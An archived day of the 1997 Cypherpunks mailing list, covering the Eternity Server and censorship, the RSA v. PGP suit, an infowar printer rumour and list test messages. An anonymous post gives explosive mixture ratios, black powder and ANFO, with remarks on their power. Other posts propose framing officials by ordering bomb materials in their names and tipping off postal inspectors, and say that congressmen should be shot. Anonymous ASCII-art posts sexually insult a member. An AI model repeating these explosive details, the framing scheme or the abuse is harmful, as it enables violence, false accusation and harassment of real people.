=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From sunder at brainlink.com  Tue May 13 08:37:20 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Tue, 13 May 1997 23:37:20 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970512134334.0096fca0@gateway.grumman.com>
Message-ID: 


On Mon, 12 May 1997, Rick Osborne wrote:

> Microsoft (and I can't believe I'm saying this) actually is doing it right
> for a change: when you sign up to be a part of any of their "clubs" (SBN,
> etc), you get asked if you want to receive further mail.



Erm, mayhaps, but they haven't lost their evil touch yet.  In recent news 
Borland is suing them for raiding their employees. :(  (Borland made the 
best intel compilers I've ever seen in terms of both compile speed and 
resulting code...  Microsoft has done everything in their power to crush 
this competitior including forcing them to give up ObjWin so for MFC 
inclusion.)  Nasty bastards.



=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From tcmay at got.net  Tue May 13 08:44:57 1997
From: tcmay at got.net (Tim May)
Date: Tue, 13 May 1997 23:44:57 +0800
Subject: "How to Blow Up Buildings"
In-Reply-To: 
Message-ID: 


At 8:19 AM -0800 5/11/97, Declan McCullagh wrote:
>Here's another good idea for a cypherpunks project: *don't* use the
>Eternity Server to post even more bomb-making instructions all over the
>Web and Usenet.
>
>You might remember I wrote recently about the DoJ report released this
>month that calls for new legislation to ban bomb-making info online. Now
>Feinstein's office tells me she's going to introduce a bill.
>
>No need to throw red meat to the hounds.
>
>(Hmmm. Looking back at my message, I'm essentially saying "censor
>yourself or the government will." Not sure I like that argument.)

You've been in D.C. too long if you're falling for this line of reasoning.

"Book publishers: learn to restrain yourselves or the government will."

"Tom Paine: learn to censor yourself, or Ye Olde King surely will."

"Cypherpunks: hold back on discussions or the Ministry of Truth will shut
you down."

I can't believe Declan is calling for self-limitations on online
discussions of that which is freely available in books, on Web sites, and
(obviously) in government publications.

The proper response to those noting that bomb-making instructions are on
the Net is "So?"

--Tim May


--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]







From sunder at brainlink.com  Tue May 13 09:01:48 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 14 May 1997 00:01:48 +0800
Subject: Disinformation in L.A.
In-Reply-To: 
Message-ID: 


On Sun, 11 May 1997, Declan McCullagh wrote:

> Here's another good idea for a cypherpunks project: *don't* use the
> Eternity Server to post even more bomb-making instructions all over the
> Web and Usenet.
> 
> You might remember I wrote recently about the DoJ report released this
> month that calls for new legislation to ban bomb-making info online. Now
> Feinstein's office tells me she's going to introduce a bill. 
> 
> No need to throw red meat to the hounds.
> 
> (Hmmm. Looking back at my message, I'm essentially saying "censor
> yourself or the government will." Not sure I like that argument.)
> 
> -Declan

Better yet, use their own tactics against them.  Order tons of bomb 
making materials in the name of their secretaries and have them sent to 
their work and their homes.  

Send them AOL disks that contain hidden files with the bomb stuff.

Then call the postal inspectors anonymously and point them at the "evidence."

:)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From 3umoelle at informatik.uni-hamburg.de  Tue May 13 09:09:29 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Wed, 14 May 1997 00:09:29 +0800
Subject: Crypto AG web site
Message-ID: <199705131551.RAA20430@rzdspc5.informatik.uni-hamburg.de>


"Thanks to comprehensive ciphering expertise and 45 years of experience,
the Zug/Switzerland based company enjoys an excellent reputation all
around the world and is trusted by customers in over 130 countries in
all continents."

http://www.crypto.ch






From tcmay at got.net  Tue May 13 09:30:59 1997
From: tcmay at got.net (Tim May)
Date: Wed, 14 May 1997 00:30:59 +0800
Subject: "The policeman inside"
In-Reply-To: <13510758714442@nac.net>
Message-ID: 


First Declan, now Ray:

At 7:10 AM -0800 5/13/97, Ray Arachelian wrote:

>Hell, the nice bomb making spam too is also a bitch being posted here.
>One could give the poster the benefit of the doubt, but it smells quite
>of the tactics used by the Postal fiends that mail child porno to an
>unsuspecting citizen unit, then arrest that citizen unit upon receipt.
>Lets not give the evil onesof the government more horsemen to ride over
>us. :(

As ur-cyberpunk Burroughs noted, we must beware "the policeman inside."

Authorities _want_ people to "police themselves," to think twice before
speaking freely, to limit the topic of their conversations, and to
generally fear the knock on the door late at night (or, in fin de siecle
Amerika, the suddent appearance of black-clad ninja in one's bedroom at 4
a.m., shooting anything that moves).

Bomb-making information is protected by the First Amendment. Period.

So is crypto information. So is saying Congressmen are vermin who need to
be taken out and shot.

Get this straight, people!

(Now whether such opinions are to one's taste, or whether the Cypherpunks
list is a reasonable forum for posting bomb-making plans...well, that's a
completely different issue, one of taste and appropriateness, than the
calls by Declan and Ray that such messages are dangerous and could invite
retaliation by the Authorities. If that's indeed the case, then by all
means we should be posting bomb-making instructions and calls for treason
trials with street justice.)

Beware the policeman inside.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From spectre at nac.net  Tue May 13 09:36:40 1997
From: spectre at nac.net (The Spectre)
Date: Wed, 14 May 1997 00:36:40 +0800
Subject: Disinformation in L.A.
Message-ID: <16115920916870@nac.net>


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks at toad.com
Date: Tue May 13 12:16:27 1997

> Better yet, use their own tactics against them.  Order tons of bomb 
> making materials in the name of their secretaries and have them sent to 
> their work and their homes.  
> 
heh..

> Send them AOL disks that contain hidden files with the bomb stuff.
> 
> Then call the postal inspectors anonymously and point them at the 
> "evidence."
> 
> :)
You know.. this has potential... :)


- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

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J0Lc5tZToA==
=tS4W
- -----END PGP PUBLIC KEY BLOCK-----

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=0ZkT
-----END PGP SIGNATURE-----






From real at freenet.edmonton.ab.ca  Tue May 13 09:49:56 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 14 May 1997 00:49:56 +0800
Subject: Digital signatures
In-Reply-To: <199705122154.OAA10465@fat.doobie.com>
Message-ID: 


On Mon, 12 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Timmy May's family tree goes straight up. All of his ancestors 
> were siblings, to dumb to recognize each other in the dark.
> 
>         _  o
>        |<)_/# Timmy May
>        TT   

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From 0005514706 at mcimail.com  Tue May 13 10:16:48 1997
From: 0005514706 at mcimail.com (Michael Wilson)
Date: Wed, 14 May 1997 01:16:48 +0800
Subject: Infowar, war, and cpunks
Message-ID: <97051317051367/0005514706DC2EM@mcimail.com>


If any cpunk is interested in infowar, but with a strong crypto
perspective, help yourself to:
http://www.geocities.com/CapitolHill/4843/
MW






From paul at fatmans.demon.co.uk  Tue May 13 10:22:27 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Wed, 14 May 1997 01:22:27 +0800
Subject: Eternity server considerations and musings
Message-ID: 



I spent some considerable time today thinking about the eternity server
idea proposed, and implemented in alpha stage, by Adam Back.

The main method used by governments around the world so far to attempt to 
censor information has been the use, or proposal of, proxy servers for 
whole countries or jurisdictions.
This method has only thus far been used to censor www connections, and 
has been used to censor specific sites, hence the use of mirroring to 
circumvent government censorship.

To give an overview of the eternity server idea for those who didn`t see 
the original post the idea was that a non existant virtual TLD .eternity 
would be used to access HTML posted to usenet. So to access a site that 
was at say bombmaking.terrorist.com/assasination/killing.html
you would send your browser to:
 
http://bombmaking.terrorist.com.eternity/assasination/killing.html

The assumption being that the distributed nature of usenet would not 
allow censorship.

The proxies idea however can be extended to censor usenet, usenet 
traffic, although pretty huge, is not yet too large to be grep`d for 
keywords (currently around 600mb of traffic a day passes through the 
newsgroups) before being proxied, so a government can run a server which 
first checks to ensure the usenet article is not encrypted (this can be 
done crudely by checking for occurances of common words or by checking 
the redundancy of the text by attempting to compress it) and if it is 
encrypted junks it, if it is plaintext, greps it for keywords like 
"assasination", "anarchy", "porn" etc... then kills the articles that 
have these words in them, the other articles the government does not want 
to censor are put on a main server like news.fourth-reich.de and access 
blocked to all the other news servers.

I know this might seem an unlikely scenario but it is not really when we 
consider the wacky ideas we have seen from governments in recent years, a 
dictatorship like France or Germany might begin implementing this within 
a few years, although the German government has had it`s fingers burnt 
recently with the Radikal fiasco.

What I was considering was the possibility of circumventing proxies 
altogether, this is not an easy question and I could not think of one 
single way to get access, of course one could use and ISP outside of the 
jurisdiction but this incurs internation call charges for dial up users, 
and the gubmint of fascist-regime-N can block telephone access to 
internet POPs outside of their country.

The problem with attempting to prevent censorship of usenet is that we 
cannot mirror it like we can web sites, the web is too huge for a 
government to mirror the whole of the "acceptable" part of it, so 
mirroring sites faster than they can block them is effective, usenet is 
too small to protect in this way, it could be effectively mirrored and 
all other access killed. Of course while we can mirror sites to prevent 
censorship this is almost an academic question, rather than a practical 
one, however, it would be nice to see a more robust system which thwarted 
all attempts to censor without the need for human intervention by 
mirroring sites etc.

I can see no way that a government can censor internal traffic within a 
country, because this need not pass through the proxy, so if we can get a 
copy of a document onto one server within a country all others can access 
it through a virtual URL. However, this is likely to incur the 
displeasure of the authorities in that country and have them knocking at 
the door of the owner of the server holding the document, so we would 
have to have a system for server anonymity. This is all getting very 
complicated ;-)

Anyway, as I have said, I can give no insight here into what is a 
possible solution, I hope that this post might cause someone who does 
have the beginnings of an idea to think about it some more and maybe give 
us a really robust solution to preventing censorship of this kind.
   

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From stewarts at ix.netcom.com  Tue May 13 10:25:47 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 14 May 1997 01:25:47 +0800
Subject: test cp@cyberpass.net 10:10a pdt ignore
Message-ID: <3.0.1.32.19970513101014.005f5f98@popd.ix.netcom.com>




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From nobody at huge.cajones.com  Tue May 13 10:26:11 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 01:26:11 +0800
Subject: Disinformation in L.A.
Message-ID: <199705131654.JAA22959@fat.doobie.com>


> Potassium nitrate is a natural byproduct of the decay of organic material.
> It is highly soluable in warm water, but at low temperatures (<10C) will
> quickly precipitate out and be displaced in solution by other salts, such
> as sodium chloride.  Extract by evaporation of water from chilled solution.
> Mix seven parts potassium nitrate with three parts carbon (coal).  Compact
> and ignite to produce explosion.

94% AN : 6% Fuel Oil (hence the abbr. ANFO) - more brisant than TNT, good
stability and sensitivity, cheap and easy to manufacture almost anywhere
worldwide in large quantities.  Thanks for playing - go get yourself
another encyclopedia.

BTW, have a friend post your obit. when you've blown your head off, fuck-up.






From rah at shipwright.com  Tue May 13 10:28:48 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 14 May 1997 01:28:48 +0800
Subject: PGP Prestidigitizes RSA...
Message-ID: 


To paraphrase the cypherpunks maxim: "Cypherpunk fellow-travellers hack
corporations"...

Cheers,
Bob Hettinga

--- begin forwarded text


MIME-version: 1.0
X-MIME-Autoconverted: from quoted-printable to 8bit by listserv.aol.com id
                      LAA18484
Date:         Tue, 13 May 1997 11:03:31 -0500
Reply-To:     Law & Policy of Computer Communications
              
Sender:       Law & Policy of Computer Communications
              
From:         "Kevin J. Connolly" 
Subject:      Re: Encryption--RSA v. PGP
To:           CYBERIA-L at LISTSERV.AOL.COM

-----BEGIN PGP SIGNED MESSAGE-----

There are several additional bits and pieces to report.

First, RSA is not seeking to enjoin the distribution of PGP products.  The
lawsuit is seeking solely to revise the royalties to be paid.

Second, it can be said that the suit represents something of a stretch.
RSA (the original patent holder) assigned the patent to Public Key
Partners, whose membership consists of RSA Data Security, Inc. and
Cylink Corporation.  Public Key Partners had granted a license to
ViaCrypt, Inc., which was acquired by Lemcom, Inc.  Then Pretty Good
Privacy, Inc. acquired Lemcom and performed a reverse subsidiary
merger, with Lemcom as the surviving entity.  Lemcom then changed its
corporate style to (surprise!) Pretty Good Privacy, Inc.  Cylink--the other
half of Public Key Partners-- was not consulted before RSA purported to
terminate the license and sue PGP.

Third, It appears that one major reason for RSA's purported termination
of the license agreement was to get around the very broad arbitration
clause in the license agreement.

Finally, it appears that RSA commenced the suit in reaction to PGP's
development of algorithm-independent encryption.  This innovation would
make it possible for PGP to embrace not only the RSA Algorithm but also
Diffy-Helman, El Gamal (a variant of Diffy-Helman), elliptical curve
cryptography or even n-dimensional lattice vector schemes.  In the
meantime, however. PGP continues and will continue to incorporate the
RSA algorithm, if for no other reason than downward compatibility and
the need to continue to support the significant number of existing
RSA-based keypairs.

It should be noted that any bias apparent in this posting stems from the
failure of RSA's counsel to return my calls, even though I identified
myself and the fact that I am preparing an article for print in a significant
news weekly (which I will not identify until and unless the article actually
runs).  However, I did identify the publication to RSA's counsel, and he
chose to let me get my information from PGP, Cylink, and other industry
sources.

Kevin J. Connolly

The opinions expressed in this communication are those of the author,
not of Eaton & Van Winkle.
This communication is not legal advice.  If it were legal advice, it would
be accompanied by an invoice.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM3iC4jQOqu5WyMfpAQECGQP+IkL0fslR6M/GSHKNdrnCVqQNoYllXurt
qcPM0okSKCGEnySvBdeHJE2nf/7nn/CpYtFiPe36hkbfplpjOE4cRgupbr57AL9V
kxQluZQdJwJJKNwXrdhiCHHBleM7l7RUSSwIRovsMxy6+4Zd3MNweGKX7wfmFnX8
yRFOV1z7CGs=
=W5P9
-----END PGP SIGNATURE-----

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From stewarts at ix.netcom.com  Tue May 13 10:31:45 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 14 May 1997 01:31:45 +0800
Subject: test 10:10 am PDT ignore cp@toad
Message-ID: <3.0.1.32.19970513100942.005f1f40@popd.ix.netcom.com>




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Tue May 13 10:32:47 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 14 May 1997 01:32:47 +0800
Subject: test cp@algebra.com 10:10a pdt ignore
Message-ID: <3.0.1.32.19970513101035.005f7868@popd.ix.netcom.com>




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From srp3651 at hsct22.ca.boeing.com  Tue May 13 10:35:15 1997
From: srp3651 at hsct22.ca.boeing.com (Sidney R. Phillips)
Date: Wed, 14 May 1997 01:35:15 +0800
Subject: Printers are munitions?
Message-ID: <3378A3E5.41C6@hsct22.ca.boeing.com>


Last Sunday on The Learning Channel there was a somewhat silly program
on information
warfare.  One thing which caught my attention however, was a claim by
Win Schwartau
(of inforwar fame) that NSA had placed narrow band transmitters in
printers which
wound up in air defense sites in Iraq.  Subsequently the transmissions
were used
for targeting durring the gulf war.  Has anyone heard of a separate
source for this?






From nobody at huge.cajones.com  Tue May 13 10:50:43 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 01:50:43 +0800
Subject: [STEGO] Secure envelopes
Message-ID: <199705131728.KAA25098@fat.doobie.com>


Tim C[ocksucker] May carries a turd in his wallet for 
identification purposes.

    _ at _
   /   \
  | o o |
-U|--U--|U-- Tim C[ocksucker] May






From lucifer at dhp.com  Tue May 13 10:56:08 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 01:56:08 +0800
Subject: War & InfoWar
Message-ID: <199705131735.NAA11422@dhp.com>


On Sun, 11 May 1997, Paul Bradley wrote:
 
>> >   How many government employees quit in outrage, stating that    
> > they would not take part in such atrocities? How many took a
> > vocal moral stand against their superiors, or exposed the
> > government duplicity involved in the police action?
> 
> They are all whores, so I suggest we fuck them like whores.
>

No thanks, you have to pay for whores.  Let's not give them any more 
business.  Besides, who knows what VD government whores carry. AP is
better. FP (Fucking Politicians) is what they do best to each other.

WhoreMonger.






From tcmay at got.net  Tue May 13 11:01:57 1997
From: tcmay at got.net (Tim May)
Date: Wed, 14 May 1997 02:01:57 +0800
Subject: Printers are munitions?
In-Reply-To: <3378A3E5.41C6@hsct22.ca.boeing.com>
Message-ID: 


At 9:24 AM -0800 5/13/97, Sidney R. Phillips wrote:
>Last Sunday on The Learning Channel there was a somewhat silly program
>on information
>warfare.  One thing which caught my attention however, was a claim by
>Win Schwartau
>(of inforwar fame) that NSA had placed narrow band transmitters in
>printers which
>wound up in air defense sites in Iraq.  Subsequently the transmissions
>were used
>for targeting durring the gulf war.  Has anyone heard of a separate
>source for this?

I don't know the context of these precise points, but the "printers sent to
Iraq had viruses in them" story was widely reported several years ago.

Except it turns out the stories all were rip-offs and repetitions, from all
appearances, of a story which ran in "Infoworld."

And except that the story in "Infoworld" was the April 1st edition. That so
many journalists repeated this as the "opening shot in I-War" says a lot
about the state of cyber-journalism.

As for transmitters in printers, this sounds like a variant. Plus, I
wouldn't think there was enough time between the start of the buildup of
the U.S. response and the air attacks for the plan to be hatched, for the
Iraqis to place and receive orders, etc. And the chance of some random
printer ending up in an air defense station seems unlikely. And so on.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From lucifer at dhp.com  Tue May 13 11:07:45 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 02:07:45 +0800
Subject: whine politics again
Message-ID: <199705131752.NAA13536@dhp.com>



Earlier, paul said:
>Also, on a slightly more practical point, as I have said, if one was to 
>bomb any major commercial or government building the chances of killing a 
>truly innocent person are fairly small anyway.

What the ultimate result here should be we all demand our legislators pass
a law prohibiting the establishment of daycare centers, schools, hospitals
or nursing homes within 1000 ft of government centers, army bases, or any
federal offices.

They could call it the "No Human Shielding law."

What legislator would dare complain that the federal government not use
his or her constituents children to shield ATF, FBI or other TLA agents?

Hey, it's "For the children", right?







From stewarts at ix.netcom.com  Tue May 13 11:22:48 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 14 May 1997 02:22:48 +0800
Subject: Real Terrorism
In-Reply-To: <199705111714.NAA21881@dhp.com>
Message-ID: <3.0.1.32.19970513105933.00620c90@popd.ix.netcom.com>


At 01:14 PM 5/11/97 -0400, lucifer Anonymous Remailer wrote:
> AMMONIUM TRIIODIDE CRYSTALS
Sigh.  Terror isn't our business, and any handbook that
can't tell ammonium tri-iodide from nitrogen tri-iodide
is more dangerous to its readers than anyone else.

If you _really_ wanted to scare governments,
you'd start publishing papers saying things like

	AMENDMENT 1 - Congress shall make no law ......

or
	n = p*q , p and q prime.
	c = m ** e mod n



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From spectre at nac.net  Tue May 13 11:28:30 1997
From: spectre at nac.net (The Spectre)
Date: Wed, 14 May 1997 02:28:30 +0800
Subject: [STEGO] Secure envelopes
Message-ID: <18052959500386@nac.net>


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks at toad.com
Date: Tue May 13 14:09:57 1997

> Tim C[ocksucker] May carries a turd in his wallet for 
> identification purposes.
> 
In response to this childish, no.cajones.com message, I have removed all 
previous filters and added one, simpler filter on incoming mail.  Delete 
when recieved from nobody at huge.cajones.com or lucifer at dhp.com.

I suggest you all to the same.. it may actually serve to make this list 
worthwhile...

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQENAzM2vJwAAAEH/1uuDgh1udD+DbU9ies8Lst3j7bmlM+m+aN0gVwerfx+uA14
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=tS4W
- -----END PGP PUBLIC KEY BLOCK-----

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From hal at rain.org  Tue May 13 11:51:19 1997
From: hal at rain.org (Hal Finney)
Date: Wed, 14 May 1997 02:51:19 +0800
Subject: `careerpunks'
Message-ID: <199705131739.KAA29311@crypt.hfinney.com>


Adam Back, , writes:
> In trying to figure out which lists were working, I noticed that there
> are now many more people on coderpunks and cryptography than there are
> on cypherpunks... take a look at these figures:
>
>   713 cryptography at c2.net
>   713 coderpunks at toad.com
>   245 cypherpunks at algebra.com + cypherpunks at cyberpass.net - duplicates

Coderpunks has not been very active, I think (although I don't always
notice which messages come from which lists).  Perry Metzger's moderated
cryptography at c2.net has had some good discussions lately, including
contributions from such people as Carl Ellison and Matt Blaze.  There
was an interesting proposal from James Donald for a possible approach
to what they are calling CACK, "Corporate Access to Corporate Keys",
without facilitating GAK, "Government Access to Keys".

The cypherpunks list continues to have the edge in political commentary
and bomb-making instructions. :-)

Hal






From real at freenet.edmonton.ab.ca  Tue May 13 11:56:09 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 14 May 1997 02:56:09 +0800
Subject: [STEGO] Secure envelopes
In-Reply-To: <199705131728.KAA25098@fat.doobie.com>
Message-ID: 


On Tue, 13 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Tim C[ocksucker] May carries a turd in his wallet for 
> identification purposes.
> 
>     _ at _
>    /   \
>   | o o |
> -U|--U--|U-- Tim C[ocksucker] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From tcmay at got.net  Tue May 13 12:13:38 1997
From: tcmay at got.net (Tim May)
Date: Wed, 14 May 1997 03:13:38 +0800
Subject: Real Terrorism
In-Reply-To: <199705111714.NAA21881@dhp.com>
Message-ID: 


At 9:59 AM -0800 5/13/97, Bill Stewart wrote:
>At 01:14 PM 5/11/97 -0400, lucifer Anonymous Remailer wrote:
>> AMMONIUM TRIIODIDE CRYSTALS
>Sigh.  Terror isn't our business, and any handbook that
>can't tell ammonium tri-iodide from nitrogen tri-iodide
>is more dangerous to its readers than anyone else.
>
>If you _really_ wanted to scare governments,
>you'd start publishing papers saying things like
>
>	AMENDMENT 1 - Congress shall make no law ......
>
>or
>	n = p*q , p and q prime.
>	c = m ** e mod n

Please, Bill, don't throw them red meat like this! If we don't manage to
restrain ourselves, then they'll have to restrain us.

Posting seditious material such as your excerpt above is not only violation
of the Rights of Wimmin Act of 1997, it is also spew from Dead White Males
writing nonsense that failed to comprehend the special protections needed
by wimmin, minorities, the psychologically damaged, persons of poundage,
and the attention-challenged.

And as for your second item, I'm glad you stopped before doing more damage.
I would hate to hear Senatory Feinstein's reaction if she were to discover
that cryptographic munitions instructions were being published on the Net.

Please, people, restrain yourselves! I have to agree with Declan and Ray on
this one.

--Klaus-boom von Future Primer Cord

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From randerso at ece.eng.wayne.edu  Tue May 13 12:29:48 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Wed, 14 May 1997 03:29:48 +0800
Subject: Printers are munitions?
In-Reply-To: 
Message-ID: 


On Tue, 13 May 1997, Tim May wrote:

> As for transmitters in printers, this sounds like a variant. Plus, I
> wouldn't think there was enough time between the start of the buildup of
> the U.S. response and the air attacks for the plan to be hatched, for the
> Iraqis to place and receive orders, etc. And the chance of some random
> printer ending up in an air defense station seems unlikely. And so on.

Besides the fact that the US wasn't exporting anything to IRAQ at the
time, along with most of the rest of the western world, where would they
have bought printers from?

(Unless of course they were purchased before the invasion of Kuwait, but
they were our allies until we misled them... hmmmmmmmm...)

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From markm at voicenet.com  Tue May 13 13:01:51 1997
From: markm at voicenet.com (Mark M.)
Date: Wed, 14 May 1997 04:01:51 +0800
Subject: [STEGO] Secure envelopes
In-Reply-To: <18052959500386@nac.net>
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 13 May 1997, The Spectre wrote:

> In response to this childish, no.cajones.com message, I have removed all
> previous filters and added one, simpler filter on incoming mail.  Delete
> when recieved from nobody at huge.cajones.com or lucifer at dhp.com.
> 
> I suggest you all to the same.. it may actually serve to make this list
> worthwhile...

I suggest that nobody do this, as this will filter out anonymous mail
from these remailers.  You do, of course, have the right to filter out
whomever you want, but there are worthwhile anonymous contributions
from these remailers.  I personally don't see what the big deal is
with these ascii-art messages.  95% of the time, these messages are
very easy to spot, and the remaining 5%, it takes two seconds to hit
the "delete" key.



Mark
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Charset: noconv

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R9oTbOby47NdzFqVjyP6YR58xwHbj6gydH43npgW3kuDibtR4GEr5w==
=Mo8/
-----END PGP SIGNATURE-----






From tcmay at got.net  Tue May 13 13:08:35 1997
